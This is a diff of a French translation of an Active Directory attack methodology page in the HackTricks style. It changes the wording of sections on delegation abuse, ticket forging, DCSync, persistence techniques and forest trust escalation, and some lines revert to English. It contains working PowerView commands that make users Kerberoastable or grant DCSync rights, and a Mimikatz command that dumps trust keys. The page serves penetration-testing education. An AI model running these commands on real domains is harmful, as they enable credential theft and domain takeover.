-Ainsi, si un **Domain Admin se connecte à la machine**, vous pourrez dumper son TGT et l'usurper en utilisant [Pass the Ticket](pass-the-ticket.md).\
-Grâce à constrained delegation vous pourriez même **compromettre automatiquement un Print Server** (espérons que ce soit un DC).
+Si vous trouvez un objet Computer ayant l'attribut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) et que vous disposez de privilèges sur la machine, vous pourrez extraire les TGTs depuis la mémoire de tous les utilisateurs qui se connectent sur l'ordinateur.\
+Ainsi, si un **Domain Admin** se connecte sur la machine, vous pourrez extraire son TGT et l'usurper en utilisant [Pass the Ticket](pass-the-ticket.md).\
+Grâce à la constrained delegation, vous pourriez même **compromettre automatiquement un Print Server** (espérons que ce soit un DC).


 {{#ref}}
@ -325,7 +325,7 @@ unconstrained-delegation.md
 ### Constrained Delegation

 Si un utilisateur ou un ordinateur est autorisé pour la "Constrained Delegation", il pourra **usurper n'importe quel utilisateur pour accéder à certains services sur une machine**.\
-Ensuite, si vous **compromettez le hash** de cet utilisateur/ordinateur vous pourrez **usurper n'importe quel utilisateur** (même des Domain Admins) pour accéder à certains services.
+Ensuite, si vous **compromettez le hash** de cet utilisateur/ordinateur, vous pourrez **usurper n'importe quel utilisateur** (même des domain admins) pour accéder à certains services.


 {{#ref}}
@ -334,7 +334,7 @@ constrained-delegation.md

 ### Resourced-based Constrain Delegation

-Avoir le privilège **WRITE** sur un objet Active Directory d'un ordinateur distant permet d'obtenir l'exécution de code avec des **privilèges élevés** :
+Avoir le privilège **WRITE** sur un objet Active Directory d'un ordinateur distant permet d'atteindre une exécution de code avec des **privilèges élevés** :


 {{#ref}}
@ -343,7 +343,7 @@ resource-based-constrained-delegation.md

 ### Permissions/ACLs Abuse

-L'utilisateur compromis pourrait avoir des **privilèges intéressants sur certains objets du domaine** qui pourraient vous permettre de **mouvementer latéralement**/ **escalader** des privilèges.
+L'utilisateur compromis pourrait disposer de **privilèges intéressants sur certains objets du domaine** qui pourraient vous permettre de **vous déplacer latéralement** ou **d'escalader** les privilèges.


 {{#ref}}
@ -352,7 +352,7 @@ acl-persistence-abuse/

 ### Printer Spooler service abuse

-Découvrir un **service Spool à l'écoute** dans le domaine peut être **abusé** pour **acquérir de nouveaux identifiants** et **escalader des privilèges**.
+La découverte d'un **service Spool écoutant** dans le domaine peut être **abusée** pour **acquérir de nouveaux identifiants** et **escalader des privilèges**.


 {{#ref}}
@ -362,7 +362,7 @@ printers-spooler-service-abuse.md
 ### Third party sessions abuse

 Si **d'autres utilisateurs** **accèdent** à la machine **compromise**, il est possible de **récupérer des identifiants depuis la mémoire** et même **injecter des beacons dans leurs processus** pour les usurper.\
-Généralement les utilisateurs accèdent au système via RDP, voici donc comment effectuer quelques attaques sur des sessions RDP tierces :
+Généralement, les utilisateurs accèdent au système via RDP, voici donc comment effectuer quelques attaques sur les sessions RDP tierces :


 {{#ref}}
@ -371,7 +371,7 @@ rdp-sessions-abuse.md

 ### LAPS

-**LAPS** fournit un système pour gérer le mot de passe de l'**Administrateur local** sur des machines jointes au domaine, en s'assurant qu'il est **randomisé**, unique et fréquemment **changé**. Ces mots de passe sont stockés dans Active Directory et l'accès est contrôlé via des ACLs uniquement pour les utilisateurs autorisés. Avec des permissions suffisantes pour accéder à ces mots de passe, il devient possible de pivoter vers d'autres machines.
+**LAPS** fournit un système de gestion du **mot de passe Administrateur local** sur les ordinateurs joints au domaine, en s'assurant qu'il est **randomisé**, unique et fréquemment **changé**. Ces mots de passe sont stockés dans Active Directory et l'accès est contrôlé via des ACLs pour les utilisateurs autorisés seulement. Avec des permissions suffisantes pour accéder à ces mots de passe, il devient possible de pivoter vers d'autres machines.


 {{#ref}}
@ -380,7 +380,7 @@ laps.md

 ### Certificate Theft

-**Récupérer des certificats** depuis la machine compromise peut être un moyen d'escalader des privilèges à l'intérieur de l'environnement :
+La **récupération de certificats** depuis la machine compromise peut être un moyen d'escalader des privilèges au sein de l'environnement :


 {{#ref}}
@ -389,7 +389,7 @@ ad-certificates/certificate-theft.md

 ### Certificate Templates Abuse

-Si des **templates vulnérables** sont configurés, il est possible de les abuser pour escalader des privilèges :
+Si des **modèles vulnérables** sont configurés, il est possible de les abuser pour escalader des privilèges :


 {{#ref}}
@ -400,30 +400,30 @@ ad-certificates/domain-escalation.md

 ### Dumping Domain Credentials

-Une fois que vous obtenez des privilèges **Domain Admin** ou, encore mieux, **Enterprise Admin**, vous pouvez **dump** la base de données du domaine : _ntds.dit_.
+Une fois que vous obtenez les privilèges **Domain Admin** ou mieux **Enterprise Admin**, vous pouvez **dumper** la **base de données du domaine** : _ntds.dit_.

-[**Plus d'informations sur l'attaque DCSync ici**](dcsync.md).
+[**More information about DCSync attack can be found here**](dcsync.md).

-[**Plus d'informations sur la façon de voler le NTDS.dit ici**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
+[**More information about how to steal the NTDS.dit can be found here**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)

 ### Privesc as Persistence

-Certaines des techniques discutées précédemment peuvent être utilisées pour la persistance.\
-Par exemple vous pourriez :
+Some of the techniques discussed before can be used for persistence.\
+For example you could:

- Rendre des utilisateurs vulnérables à [**Kerberoast**](kerberoast.md)
+- Make users vulnerable to [**Kerberoast**](kerberoast.md)

 ```bash
 Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
 ```

- Rendre des utilisateurs vulnérables à [**ASREPRoast**](asreproast.md)
+- Make users vulnerable to [**ASREPRoast**](asreproast.md)

 ```bash
 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```

- Accorder des privilèges [**DCSync**](#dcsync) à un utilisateur
+- Grant [**DCSync**](#dcsync) privileges to a user

 ```bash
 Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
@ -431,7 +431,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti

 ### Silver Ticket

-L'attaque **Silver Ticket** crée un **Ticket Granting Service (TGS)** légitime pour un service spécifique en utilisant le **NTLM hash** (par exemple, le **hash du compte PC**). Cette méthode est employée pour **accéder aux privilèges du service**.
+L'attaque **Silver Ticket** crée un **TGS légitime** pour un service spécifique en utilisant le **hash NTLM** (par exemple, le **hash du compte PC**). Cette méthode est employée pour **accéder aux privilèges du service**.


 {{#ref}}
@ -440,9 +440,9 @@ silver-ticket.md

 ### Golden Ticket

-Une **attaque Golden Ticket** implique qu'un attaquant obtienne l'accès au **NTLM hash du compte krbtgt** dans un environnement Active Directory (AD). Ce compte est spécial car il est utilisé pour signer tous les **Ticket Granting Tickets (TGTs)**, essentiels pour l'authentification au sein du réseau AD.
+Une **Golden Ticket attack** implique qu'un attaquant obtienne le **hash NTLM du compte krbtgt** dans un environnement Active Directory (AD). Ce compte est spécial car il est utilisé pour signer tous les **Ticket Granting Tickets (TGTs)**, qui sont essentiels pour l'authentification au sein du réseau AD.

-Une fois que l'attaquant obtient ce hash, il peut créer des **TGTs** pour n'importe quel compte de son choix (Silver ticket attack).
+Une fois que l'attaquant obtient ce hash, il peut créer des **TGTs** pour n'importe quel compte (attaque Silver ticket).


 {{#ref}}
@ -451,7 +451,7 @@ golden-ticket.md

 ### Diamond Ticket

-Ce sont similaires aux golden tickets, forgés d'une manière qui **contourne les mécanismes de détection courants des golden tickets.**
+Ce sont comme des golden tickets forgés d'une manière qui **contourne les mécanismes de détection courants des golden tickets.**


 {{#ref}}
@ -460,7 +460,7 @@ diamond-ticket.md

 ### **Certificates Account Persistence**

-**Posséder les certificats d'un compte ou pouvoir les demander** est un très bon moyen de persister sur le compte utilisateur (même s'il change son mot de passe) :
+**Posséder les certificats d'un compte ou être capable de les demander** est un très bon moyen de persister sur le compte d'un utilisateur (même s'il change son mot de passe) :


 {{#ref}}
@ -469,7 +469,7 @@ ad-certificates/account-persistence.md

 ### **Certificates Domain Persistence**

-**Utiliser des certificats permet aussi de persister avec des privilèges élevés à l'intérieur du domaine :**
+**Utiliser des certificats permet également de persister avec des privilèges élevés au sein du domaine :**


 {{#ref}}
@ -478,13 +478,13 @@ ad-certificates/domain-persistence.md

 ### AdminSDHolder Group

-L'objet **AdminSDHolder** dans Active Directory assure la sécurité des **groupes privilégiés** (comme Domain Admins et Enterprise Admins) en appliquant une **ACL** standard across ces groupes pour empêcher des modifications non autorisées. Cependant, cette fonctionnalité peut être exploitée ; si un attaquant modifie l'ACL d'AdminSDHolder pour donner un accès complet à un utilisateur régulier, cet utilisateur obtient un contrôle étendu sur tous les groupes privilégiés. Cette mesure de sécurité, destinée à protéger, peut donc se retourner contre l'environnement si elle n'est pas étroitement surveillée.
+L'objet **AdminSDHolder** dans Active Directory assure la sécurité des **groupes privilégiés** (comme Domain Admins et Enterprise Admins) en appliquant une liste standard **Access Control List (ACL)** sur ces groupes pour empêcher les modifications non autorisées. Cependant, cette fonctionnalité peut être exploitée ; si un attaquant modifie l'ACL de l'AdminSDHolder pour donner un accès complet à un utilisateur ordinaire, cet utilisateur obtient un contrôle étendu sur tous les groupes privilégiés. Cette mesure de sécurité, destinée à protéger, peut donc se retourner contre l'environnement si elle n'est pas surveillée de près.

-[**Plus d'informations sur AdminDSHolder Group ici.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
+[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group)

 ### DSRM Credentials

-À l'intérieur de chaque **Domain Controller (DC)** existe un compte **Administrateur local**. En obtenant des droits admin sur une telle machine, le hash de l'Administrateur local peut être extrait avec **mimikatz**. Ensuite, une modification du registre est nécessaire pour **autoriser l'utilisation de ce mot de passe**, permettant un accès à distance au compte Administrateur local.
+Dans chaque **Domain Controller (DC)** existe un compte **administrateur local**. En obtenant des droits admin sur une telle machine, le hash de l'administrateur local peut être extrait avec **mimikatz**. Ensuite, une modification du registre est nécessaire pour **permettre l'utilisation de ce mot de passe**, autorisant l'accès à distance au compte Administrator local.


 {{#ref}}
@ -493,7 +493,7 @@ dsrm-credentials.md

 ### ACL Persistence

-Vous pourriez **donner** des **permissions spéciales** à un **utilisateur** sur certains objets du domaine qui permettront à cet utilisateur **d'escalader des privilèges à l'avenir**.
+Vous pouvez **donner** des **permissions spéciales** à un **utilisateur** sur certains objets du domaine qui permettront à l'utilisateur **d'escalader des privilèges à l'avenir**.


 {{#ref}}
@ -502,7 +502,7 @@ acl-persistence-abuse/

 ### Security Descriptors

-Les **security descriptors** sont utilisés pour **stocker** les **permissions** qu'**un objet** possède **sur** un autre **objet**. Si vous pouvez simplement **faire** un **petit changement** dans le **security descriptor** d'un objet, vous pouvez obtenir des privilèges très intéressants sur cet objet sans avoir besoin d'être membre d'un groupe privilégié.
+Les **security descriptors** sont utilisés pour **stocker** les **permissions** qu'**un objet** a **sur** un **objet**. Si vous pouvez simplement **faire** un **petit changement** dans le **security descriptor** d'un objet, vous pouvez obtenir des privilèges très intéressants sur cet objet sans avoir besoin d'être membre d'un groupe privilégié.


 {{#ref}}
@ -511,7 +511,7 @@ security-descriptors.md

 ### Skeleton Key

-Altérer **LSASS** en mémoire pour établir un **mot de passe universel**, accordant l'accès à tous les comptes du domaine.
+Altérer **LSASS** en mémoire pour établir un **mot de passe universel**, donnant accès à tous les comptes du domaine.


 {{#ref}}
@ -520,8 +520,8 @@ skeleton-key.md

 ### Custom SSP

-[Apprenez ce qu'est un SSP (Security Support Provider) ici.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
-Vous pouvez créer votre **propre SSP** pour **capturer en clair** les **identifiants** utilisés pour accéder à la machine.
+[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
+Vous pouvez créer votre **propre SSP** pour **capturer** en **texte clair** les **identifiants** utilisés pour accéder à la machine.


 {{#ref}}
@ -530,8 +530,9 @@ custom-ssp.md

 ### DCShadow

-Il enregistre un **nouveau Domain Controller** dans l'AD et l'utilise pour **pousser des attributs** (SIDHistory, SPNs...) sur des objets spécifiés **sans** laisser de **logs** concernant les **modifications**. Vous **avez besoin de privilèges DA** et d'être dans le **root domain**.\
-Notez que si vous utilisez de mauvaises données, des logs assez visibles apparaîtront.
+Il enregistre un **nouveau Domain Controller** dans l'AD et l'utilise pour **pousser des attributs** (SIDHistory, SPNs...) sur des objets spécifiés **sans** laisser de **logs** concernant les **modifications**. Vous **avez besoin de DA** et d'être à l'intérieur du **root domain**.\
+Notez que si vous utilisez de mauvaises données, des logs assez moches apparaîtront.
+

 {{#ref}}
 dcshadow.md
@ -539,7 +540,7 @@ dcshadow.md

 ### LAPS Persistence

-Précédemment, nous avons expliqué comment escalader des privilèges si vous avez **suffisamment de permissions pour lire les mots de passe LAPS**. Cependant, ces mots de passe peuvent aussi être utilisés pour **maintenir la persistance**.\
+Précédemment nous avons vu comment escalader des privilèges si vous avez **suffisamment de permissions pour lire les mots de passe LAPS**. Cependant, ces mots de passe peuvent aussi être utilisés pour **maintenir la persistance**.\
 Consultez :


@ -549,60 +550,60 @@ laps.md

 ## Forest Privilege Escalation - Domain Trusts

-Microsoft considère la **Forest** comme la frontière de sécurité. Cela implique que **la compromission d'un seul domaine pourrait potentiellement mener à la compromission de toute la Forest**.
+Microsoft considère la **Forest** comme la frontière de sécurité. Cela implique que **compromettre un seul domaine pourrait potentiellement conduire à la compromission de toute la Forest**.

 ### Basic Information

-Un [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) est un mécanisme de sécurité qui permet à un utilisateur d'un **domaine** d'accéder aux ressources d'un autre **domaine**. Il crée essentiellement un lien entre les systèmes d'authentification des deux domaines, permettant aux vérifications d'authentification de circuler sans heurts. Lorsque des domaines établissent un trust, ils échangent et conservent des **clés** spécifiques dans leurs **Domain Controllers (DCs)**, qui sont cruciales pour l'intégrité du trust.
+Un [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) est un mécanisme de sécurité qui permet à un utilisateur d'un **domaine** d'accéder à des ressources dans un autre **domaine**. Il crée essentiellement un lien entre les systèmes d'authentification des deux domaines, permettant aux vérifications d'authentification de circuler de façon transparente. Quand des domaines établissent un trust, ils échangent et conservent des **keys** spécifiques au sein de leurs **Domain Controllers (DCs)**, qui sont cruciales pour l'intégrité du trust.

-Dans un scénario typique, si un utilisateur souhaite accéder à un service dans un **domaine trusté**, il doit d'abord demander un ticket spécial connu sous le nom **inter-realm TGT** auprès du DC de son propre domaine. Ce TGT est chiffré avec une **clé de trust** partagée que les deux domaines ont convenue. L'utilisateur présente ensuite ce TGT au **DC du domaine trusté** pour obtenir un ticket de service (**TGS**). Après validation réussie de l'inter-realm TGT par le DC du domaine trusté, ce dernier délivre un TGS, accordant à l'utilisateur l'accès au service.
+Dans un scénario typique, si un utilisateur souhaite accéder à un service dans un **domaine trusted**, il doit d'abord demander un ticket spécial connu sous le nom de **inter-realm TGT** depuis le DC de son propre domaine. Ce TGT est chiffré avec une **key de trust** partagée entre les deux domaines. L'utilisateur présente ensuite ce TGT au **DC du domaine trusted** pour obtenir un service ticket (**TGS**). Après la validation réussie de l'inter-realm TGT par le DC du domaine trusted, ce dernier délivre un TGS, accordant à l'utilisateur l'accès au service.

-**Étapes** :
+**Steps**:

-1. Un **poste client** dans le **Domain 1** démarre le processus en utilisant son **NTLM hash** pour demander un **Ticket Granting Ticket (TGT)** à son **Domain Controller (DC1)**.
+1. Un **client computer** dans **Domain 1** commence le processus en utilisant son **NTLM hash** pour demander un **Ticket Granting Ticket (TGT)** à son **Domain Controller (DC1)**.
 2. DC1 émet un nouveau TGT si le client est authentifié avec succès.
-3. Le client demande alors un **inter-realm TGT** à DC1, nécessaire pour accéder aux ressources du **Domain 2**.
-4. L'inter-realm TGT est chiffré avec une **trust key** partagée entre DC1 et DC2 dans le cadre du trust bidirectionnel.
-5. Le client apporte l'inter-realm TGT au **Domain Controller (DC2)** du Domain 2.
-6. DC2 vérifie l'inter-realm TGT en utilisant sa trust key partagée et, si valide, émet un **Ticket Granting Service (TGS)** pour le serveur du Domain 2 auquel le client souhaite accéder.
-7. Finalement, le client présente ce TGS au serveur, lequel est chiffré avec le hash du compte du serveur, pour obtenir l'accès au service dans le Domain 2.
+3. Le client demande ensuite un **inter-realm TGT** à DC1, nécessaire pour accéder aux ressources dans **Domain 2**.
+4. L'inter-realm TGT est chiffré avec une **trust key** partagée entre DC1 et DC2 dans le cadre du trust bidirectionnel entre domaines.
+5. Le client amène l'inter-realm TGT au **Domain Controller (DC2)** de **Domain 2**.
+6. DC2 vérifie l'inter-realm TGT en utilisant sa trust key partagée et, si valide, émet un **Ticket Granting Service (TGS)** pour le serveur de Domain 2 auquel le client veut accéder.
+7. Enfin, le client présente ce TGS au serveur, qui est chiffré avec le hash du compte du serveur, pour obtenir l'accès au service dans Domain 2.

 ### Different trusts

-Il est important de noter qu'**un trust peut être unidirectionnel ou bidirectionnel**. Dans l'option bidirectionnelle, les deux domaines se font confiance mutuellement, mais dans la relation de trust **unidirectionnelle**, l'un des domaines sera le **trusted** et l'autre le **trusting**. Dans ce dernier cas, **vous ne pourrez accéder qu'aux ressources du domaine trusting depuis le domaine trusted**.
+Il est important de noter qu'**un trust peut être unidirectionnel ou bidirectionnel**. Dans l'option à 2 voies, les deux domaines se font mutuellement confiance, mais dans la relation de **1 voie** un des domaines sera le **trusted** et l'autre sera le **trusting**. Dans ce dernier cas, **vous pourrez uniquement accéder aux ressources du domaine trusting depuis le domaine trusted**.

 Si le Domain A trust le Domain B, A est le domaine trusting et B est le domaine trusted. De plus, dans **Domain A**, il s'agira d'un **Outbound trust** ; et dans **Domain B**, il s'agira d'un **Inbound trust**.

 **Different trusting relationships**

- **Parent-Child Trusts**: C'est une configuration courante au sein de la même forêt, où un domaine enfant a automatiquement un trust transitive bidirectionnel avec son domaine parent. Essentiellement, cela signifie que les demandes d'authentification peuvent circuler sans heurts entre le parent et l'enfant.
- **Cross-link Trusts**: Appelés aussi "shortcut trusts", ceux-ci sont établis entre des domaines enfants pour accélérer les processus de referral. Dans des forêts complexes, les referrals d'authentification doivent typiquement remonter jusqu'à la racine de la forêt puis redescendre vers le domaine cible. En créant des cross-links, le trajet est raccourci, ce qui est particulièrement utile dans des environnements géographiquement dispersés.
- **External Trusts**: Ceux-ci sont mis en place entre des domaines différents et non reliés et sont par nature non transitifs. Selon la [documentation Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), les external trusts sont utiles pour accéder aux ressources d'un domaine en dehors de la forêt actuelle qui n'est pas connecté par un forest trust. La sécurité est renforcée via le SID filtering avec les external trusts.
- **Tree-root Trusts**: Ces trusts sont établis automatiquement entre le domaine racine de la forêt et une nouvelle racine d'arbre ajoutée. Bien que moins fréquents, les tree-root trusts sont importants pour ajouter de nouveaux arbres de domaine à une forêt, leur permettant de conserver un nom de domaine unique et garantissant la transitivité bidirectionnelle. Plus d'informations sont disponibles dans le [guide Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Forest Trusts**: Ce type de trust est un trust transitive bidirectionnel entre deux domaines racine de forêt, imposant également le SID filtering pour renforcer les mesures de sécurité.
- **MIT Trusts**: Ces trusts sont établis avec des domaines Kerberos non-Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120). Les MIT trusts sont un peu plus spécialisés et ciblent des environnements nécessitant une intégration avec des systèmes Kerberos hors de l'écosystème Windows.
+- **Parent-Child Trusts** : C'est une configuration commune au sein de la même forest, où un child domain a automatiquement un trust transitive à deux voies avec son parent. Essentiellement, cela signifie que les requêtes d'authentification peuvent circuler sans problème entre le parent et l'enfant.
+- **Cross-link Trusts** : Appelés "shortcut trusts", ils sont établis entre child domains pour accélérer les processus de referral. Dans des forests complexes, les referrals d'authentification doivent typiquement remonter jusqu'à la racine de la forest puis redescendre vers le domaine cible. En créant des cross-links, le trajet est raccourci, ce qui est particulièrement bénéfique dans des environnements géographiquement dispersés.
+- **External Trusts** : Ceux-ci sont configurés entre des domaines différents et non liés, et sont par nature non-transitifs. Selon la documentation de [Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), les external trusts sont utiles pour accéder aux ressources d'un domaine en dehors de la forest actuelle qui n'est pas connecté par un forest trust. La sécurité est renforcée par le filtrage SID avec les external trusts.
+- **Tree-root Trusts** : Ces trusts sont automatiquement établis entre le forest root domain et une nouvelle tree root ajoutée. Bien que rarement rencontrés, les tree-root trusts sont importants pour ajouter de nouveaux arbres de domaines à une forest, leur permettant de maintenir un nom de domaine unique et en assurant la transitivité à deux voies. Plus d'informations sont disponibles dans le guide de [Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
+- **Forest Trusts** : Ce type de trust est un trust transitive à deux voies entre deux forest root domains, appliquant également un filtrage SID pour renforcer les mesures de sécurité.
+- **MIT Trusts** : Ces trusts sont établis avec des domaines Kerberos non-Windows, conformes à [RFC4120](https://tools.ietf.org/html/rfc4120). Les MIT trusts sont un peu plus spécialisés et s'adressent aux environnements nécessitant une intégration avec des systèmes Kerberos en dehors de l'écosystème Windows.

 #### Other differences in **trusting relationships**

- Une relation de trust peut aussi être **transitive** (A trust B, B trust C, donc A trust C) ou **non-transitive**.
- Une relation de trust peut être configurée comme un **trust bidirectionnel** (les deux se font confiance) ou comme un **trust unidirectionnel** (seul l'un fait confiance à l'autre).
+- Une relation de trust peut aussi être **transitive** (A trust B, B trust C, alors A trust C) ou **non-transitive**.
+- Une relation de trust peut être configurée comme **bidirectional trust** (les deux se font confiance) ou comme **one-way trust** (seul l'un fait confiance à l'autre).

 ### Attack Path

-1. **Énumérer** les relations de trust
-2. Vérifier si un **security principal** (user/group/computer) a **accès** aux ressources de **l'autre domaine**, peut-être via des entrées ACE ou en faisant partie de groupes de l'autre domaine. Cherchez des **relations à travers les domaines** (le trust a probablement été créé pour cela).
+1. **Énumérer** les relations de trusting
+2. Vérifier si un quelconque **security principal** (user/group/computer) a **accès** aux ressources de **l'autre domaine**, peut-être via des entrées ACE ou en faisant partie de groupes de l'autre domaine. Recherchez des **relations à travers les domaines** (le trust a probablement été créé pour cela).
 1. kerberoast dans ce cas pourrait être une autre option.
-3. **Compromettre** les **comptes** qui peuvent **pivot** à travers les domaines.
+3. **Compromettre** les **comptes** qui peuvent **pivot** entre les domaines.

-Les attaquants peuvent accéder à des ressources dans un autre domaine par trois mécanismes principaux :
+Les attaquants peuvent accéder aux ressources d'un autre domaine via trois mécanismes principaux :

- **Local Group Membership**: Des principals peuvent être ajoutés à des groupes locaux sur des machines, comme le groupe “Administrators” sur un serveur, leur donnant un contrôle significatif sur cette machine.
- **Foreign Domain Group Membership**: Des principals peuvent aussi être membres de groupes au sein du domaine étranger. Cependant, l'efficacité de cette méthode dépend de la nature du trust et de la portée du groupe.
- **Access Control Lists (ACLs)**: Des principals peuvent être spécifiés dans une **ACL**, particulièrement comme entités dans des **ACEs** au sein d'une **DACL**, leur fournissant l'accès à des ressources spécifiques. Pour ceux souhaitant approfondir les mécanismes des ACLs, DACLs et ACEs, le whitepaper intitulé “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” est une ressource précieuse.
+- **Local Group Membership** : Des principals peuvent être ajoutés à des groupes locaux sur des machines, tels que le groupe “Administrators” sur un serveur, leur donnant un contrôle important sur cette machine.
+- **Foreign Domain Group Membership** : Les principals peuvent aussi être membres de groupes au sein du domaine étranger. Cependant, l'efficacité de cette méthode dépend de la nature du trust et de la portée du groupe.
+- **Access Control Lists (ACLs)** : Des principals peuvent être spécifiés dans une **ACL**, particulièrement comme entités dans des **ACEs** au sein d'une **DACL**, leur fournissant un accès à des ressources spécifiques. Pour ceux qui souhaitent approfondir la mécanique des ACLs, DACLs et ACEs, le whitepaper intitulé “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” est une ressource précieuse.

 ### Find external users/groups with permissions

-Vous pouvez vérifier **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** pour trouver les foreign security principals dans le domaine. Ceux-ci seront des user/group provenant **d'un domaine/forest externe**.
+Vous pouvez vérifier **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** pour trouver les foreign security principals dans le domaine. Ceux-ci seront des users/groups provenant **d'un domaine/forest externe**.

 Vous pouvez vérifier cela dans **Bloodhound** ou en utilisant powerview:
 ```powershell
@ -612,7 +613,7 @@ Get-DomainForeignUser
 # Get groups inside a domain with users our
 Get-DomainForeignGroupMember
 ```
-### Escalade de privilèges d'une forêt enfant vers la forêt parent
+### Escalade de privilèges de forêt Child-to-Parent
 ```bash
 # Fro powerview
 Get-DomainTrust
@ -639,7 +640,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
 ```
 > [!WARNING]
 > Il y a **2 trusted keys**, une pour _Child --> Parent_ et une autre pour _Parent_ --> _Child_.\
-> Vous pouvez obtenir celle utilisée par le domaine courant avec :
+> Vous pouvez obtenir celle utilisée par le domaine actuel avec :
 >
 > ```bash
 > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@ -648,7 +649,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts

 #### SID-History Injection

-Escaladez en tant que Enterprise Admin vers le domaine enfant/parent en abusant de la trust avec SID-History injection :
+Escalate as Enterprise admin to the child/parent domain abusing the trust with SID-History injection:


 {{#ref}}
@ -657,45 +658,45 @@ sid-history-injection.md

 #### Exploit writeable Configuration NC

-Comprendre comment le Configuration Naming Context (NC) peut être exploité est crucial. Le Configuration NC sert de référentiel central pour les données de configuration dans une forêt Active Directory (AD). Ces données sont répliquées sur chaque Domain Controller (DC) de la forêt, les DC inscriptibles conservant une copie inscriptible du Configuration NC. Pour exploiter cela, il faut disposer des **SYSTEM privileges sur un DC**, de préférence un child DC.
+Il est crucial de comprendre comment la Configuration Naming Context (NC) peut être exploitée. La Configuration NC sert de référentiel central pour les données de configuration à travers une forêt dans les environnements Active Directory (AD). Ces données sont répliquées sur chaque Domain Controller (DC) de la forêt, les DC écriturables conservant une copie écrivable de la Configuration NC. Pour exploiter cela, il faut avoir **SYSTEM privileges on a DC**, de préférence un child DC.

 **Link GPO to root DC site**

-Le conteneur Sites du Configuration NC contient des informations sur les sites de tous les ordinateurs joints au domaine dans la forêt AD. En opérant avec des SYSTEM privileges sur n'importe quel DC, un attaquant peut lier des GPOs aux sites du root DC. Cette action peut compromettre le domaine racine en manipulant les politiques appliquées à ces sites.
+Le conteneur Sites de la Configuration NC inclut des informations sur les sites de tous les ordinateurs joints au domaine au sein de la forêt AD. En opérant avec SYSTEM privileges on any DC, un attaquant peut lier des GPOs aux sites root DC. Cette action compromet potentiellement le root domain en manipulant les stratégies appliquées à ces sites.

-Pour des informations détaillées, on peut consulter la recherche sur [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
+For in-depth information, one might explore research on [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).

 **Compromise any gMSA in the forest**

-Un vecteur d'attaque consiste à cibler les gMSA privilégiés au sein du domaine. La KDS Root key, essentielle pour calculer les mots de passe des gMSAs, est stockée dans le Configuration NC. Avec des SYSTEM privileges sur n'importe quel DC, il est possible d'accéder à la KDS Root key et de calculer les mots de passe de n'importe quel gMSA dans la forêt.
+Un vecteur d'attaque consiste à cibler des gMSA privilégiés au sein du domaine. La KDS Root key, essentielle pour calculer les mots de passe des gMSA, est stockée dans la Configuration NC. Avec SYSTEM privileges on any DC, il est possible d'accéder à la KDS Root key et de calculer les mots de passe de n'importe quel gMSA à travers la forêt.

-Une analyse détaillée et des instructions pas à pas sont disponibles dans :
+Detailed analysis and step-by-step guidance can be found in:


 {{#ref}}
 golden-dmsa-gmsa.md
 {{#endref}}

-Attaque MSA déléguée complémentaire (BadSuccessor – abus des attributs de migration) :
+Complementary delegated MSA attack (BadSuccessor – abusing migration attributes):


 {{#ref}}
 badsuccessor-dmsa-migration-abuse.md
 {{#endref}}

-Recherche externe supplémentaire : [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
+Additional external research: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).

 **Schema change attack**

-Cette méthode demande de la patience, en attendant la création de nouveaux objets AD privilégiés. Avec des SYSTEM privileges, un attaquant peut modifier le AD Schema pour accorder à n'importe quel utilisateur le contrôle total sur toutes les classes. Cela peut conduire à un accès non autorisé et au contrôle des nouveaux objets AD créés.
+Cette méthode demande de la patience, en attendant la création de nouveaux objets AD privilégiés. Avec SYSTEM privileges, un attaquant peut modifier le AD Schema pour accorder à n'importe quel utilisateur le contrôle total sur toutes les classes. Cela peut conduire à un accès et un contrôle non autorisés sur les nouveaux objets AD créés.

-Pour en savoir plus, consulter [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
+Further reading is available on [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).

 **From DA to EA with ADCS ESC5**

